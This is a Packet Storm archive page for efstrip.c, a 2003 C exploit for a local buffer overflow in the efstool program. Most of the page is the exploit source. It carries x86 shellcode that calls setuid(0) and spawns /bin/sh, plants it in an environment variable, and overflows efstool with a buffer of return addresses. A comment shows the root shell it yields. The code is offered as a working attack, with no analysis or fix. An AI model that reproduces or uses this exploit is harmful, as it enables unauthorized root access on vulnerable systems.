what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

efstrip.c

efstrip.c
Posted Jan 5, 2003
Authored by Hi_Tech_Asslemon

Efstrip is an exploit for the efstool vulnerability. Unlike other exploits for this vulnerability, Efstrip is robust, doesn't need a wide range of attack options, and doesn't need brute forcing. It actually ./works.

tags | exploit
SHA-256 | a0fa492bfaf986c0a0bcba194d566ba90078b5c1cf124df1293a16b9fb3336b6

efstrip.c

Change Mirror Download
/* EFStool local exploit 
* (no brute force capabilities..cuz its umm..*local*)
*
* e-mail: Hi_Tech_Asslemon@hairdresser.net
*
* coded by: Hi_Tech_Asslemon
*/
/*
$ ./efstrip
EFStrip -- ./go efstool exploit -- coded by: Hi_Tech_Asslemon

Shellcode at: 0xbfffffbd (omfg it's magic@!@!@!)
sh-2.05#
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

#define PATH "/opt/gnome/bin/efstool"
unsigned char code[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x50\x50\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x54\x5b\x89\xe1\x31\xd2\xb0"
"\x0c\x01\xc1\x89\x19\xfe\xc8\xcd\x80";
extern char **environ;

int
main(int argc, char **argv)
{
unsigned long ret;
unsigned char *p;
unsigned char *run[3];
unsigned char buf[3000]; /* tnx str9 */
unsigned int i;

p=NULL;
if((p=getenv("FOO"))==NULL)
{
if(setenv("FOO",code,1)==-1) exit(1);
if(execve(argv[0],argv,environ)) exit(1);
}
printf("EFStrip -- ./go efstool exploit -- coded by: Hi_Tech_Asslemon\n\n");
ret=(long)p;
ret+=(strlen(argv[0])-strlen(PATH));
printf("Shellcode at: %p (omfg it's magic@!@!@!)\n",ret);
for(i=0;i<sizeof(buf);i+=4) *(long *)&buf[i]=ret;
run[0]=PATH;
run[1]=buf;
run[2]=NULL;
if(execve(run[0],(char **)run,environ))
{
printf("failed\n");
exit(1);
}
}



Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close